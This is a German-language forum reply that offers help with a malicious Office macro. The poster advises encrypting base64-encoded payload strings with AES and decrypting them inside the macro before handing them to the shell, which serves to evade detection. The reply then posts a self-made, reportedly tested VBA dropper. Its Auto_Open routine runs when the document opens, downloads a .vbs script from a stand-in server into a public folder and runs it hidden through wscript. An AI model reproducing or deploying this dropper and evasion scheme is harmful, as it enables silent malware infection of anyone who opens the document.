AW: Versteckte Netzwerk Laufwerke sichtbar machen?
AH CRUZ ICH DREH DURCH!
Ich wollte gerade exakt das gleiche schreiben!
Den b64 Output nochmal mit AES verschlüsseln.
AES-Decrypt Funktion anfügen -> AES-Strings am Ende vom Makro entschlüsseln und gleich in die Shell übergeben.
//Edit:
Falls du aber gleich schwere Geschütze auffahren willst, nimm das Makro hier (selbstgebaut, getestet und für gut befunden):
Zitat:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub Auto_Open()
Dim InpUrl As String
Dim OutFilePath As String
Dim DownloadStatus As Long
InpUrl = "http://deinserver.net/1.vbs"
OutFilePath = "C:\Users\Public\1.vbs"
DownloadStatus = URLDownloadToFile(0, InpUrl, OutFilePath, 0, 0)
If DownloadStatus = 0 Then
Shell "wscript C:\Users\Public\1.vbs", vbHide
DownloadStatus = 1
Else
MsgBox "File nicht erreichbar #sadboy"
End If
End Sub